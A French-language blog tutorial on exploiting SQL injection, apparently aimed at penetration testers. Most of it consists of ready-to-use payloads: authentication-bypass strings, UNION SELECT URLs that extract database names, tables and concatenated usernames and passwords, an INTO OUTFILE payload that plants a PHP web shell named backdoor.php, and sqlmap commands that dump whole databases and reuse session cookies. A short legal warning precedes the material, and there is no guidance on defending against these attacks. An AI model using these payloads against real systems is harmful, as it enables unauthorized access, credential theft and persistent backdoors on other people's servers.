Exploiter les injections SQL

Dans cet article nous allons voir en pratique comment exploiter les injections SQL.

Avertissement :
Utiliser les techniques présentées sur ce blog, sur des systèmes qui ne vous appartiennent pas est ILLEGAL et peut vous exposer à de lourdes sanctions.

Si vous souhaitez vous exercer, vous devez le faire sur un système qui vous appartient, ou avec un accord écrit du propriétaire.

Je ne pourrais en aucun cas être tenu pour responsable de vos actes.

Vérifier si la faille est présente

Entrez une apostrophe ' dans un des champs d’un formulaire de login pour vérifier si vous obtenez une erreur de Base De Données (BDD).

Exploitation manuelle

La tautologie : Les requêtes toujours vraies.

' or '1'='1

Ce type d’injection permet de modifier la requête SQL effectué par le serveur afin que le résultat soit toujours vrai.
Cela permet de se connecter à un espace admin sans login ni mot de passe.

Autre tests :

-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

Injection dans une requête POST

Il est possible d’injecter dans les paramètres d’une requête post.
Pour cela on utilise BurpSuite ou l’extension Firefox Tamper.
Il est par exemple possible de tester un paramètre en ajoutant à la fin.

lang=en'

Outrepasser les authentifications

Lorsqu’un formulaire n’est pas correctement sécurisé, il est possible de se loguer sans identifiants ni mot de passe, via une injection dans le username.

username' or 1=1;#
username'-

Afficher les données de la BDD

La syntaxe exacte pour cette injection peut varier selon le type de BDD.
La plupart du temps, il s’agit de BDD MySQL.

Afficher la version

http://[host]/inject.php?id=1 union all select 1,2,3,@@version,5

Obtenir le nombre de colonnes

Il est possible de connaitre le nombre de colonnes en utilisant order by.
Il suffit d’augmenter le numéro de colonne jusqu’a obtenir l’erreur “colonne inconnue”

http://[host]/inject.php?id=54 order by 1
http://[host]/inject.php?id=54 order by 2
http://[host]/inject.php?id=54 order by 3

Afficher l’utilisateur

http://[host]/inject.php?id=1 union all select 1,2,3,user(),5

Afficher les tables

http://[host]/inject.php?id=1 union all select 1,2,3,table_name,5 FROM information_schema.tables

Afficher les noms de colonnes pour une table

http://[host]/inject.php?id=1 union all select 1,2,3,column_name,5 FROM information_schema.columns where table_name='users'

Afficher les noms d’utilisateurs et mots de passe ()

http://[host]/inject.php?id=1 union all select 1,2,3,concat(name, 0x3A , password),5 from users

0x3a signifie :

Écrire dans les fichiers systèmes

Cette attaque dépend du niveau de permission de la fonction INTO OUTFILE.
Elle permet de créer un shell PHP à la racine du site.

http://[host]/inject.php?id=54 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

Il est aussi possible d’utiliser un reverse Shell.

Exploitation avec SQLmap

Lorsqu’on a trouvé un paramètre vulnérable en insérant une apostrophe, on peut alors utiliser SQLmap pour attaquer l’URL.

Afficher les données de la BDD

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --dbms=mysql

Les BDD

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --dbs --dbms=mysql

Les tables d’une BDD

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --tables -D [database name]

Les colonnes d’une table

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --columns -D [database name] -T [table name]

Les données d’une table

sqlmap -u "http://[host]/inject.php?param1=1&param2=whatever" --dump -D [database name] -T [table name]

Réutilisation de token

Si une URL n’est pas accessible, il est possible de réutiliser un cookie ou les données d’authentification en collant la requête POST dans un fichier et en utilisant l’option-r.

sqlmap -r request.txt

Réutiliser un cookie

sqlmap -u "http://[host]/inject.php" --cookie "PHPSESSID=foobar"

Url REST

Si l’URL ne possède pas de paramètres, il est tout de même possible de la tester.

sqlmap -u "http://[host]/param1*/param2*"


Dans un prochain article nous verrons comment éviter les sécurités qui empêchent d’uploader un fichier sur un serveur : Le File Upload Bypass.

En attendant, retrouvez tous nos articles :

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *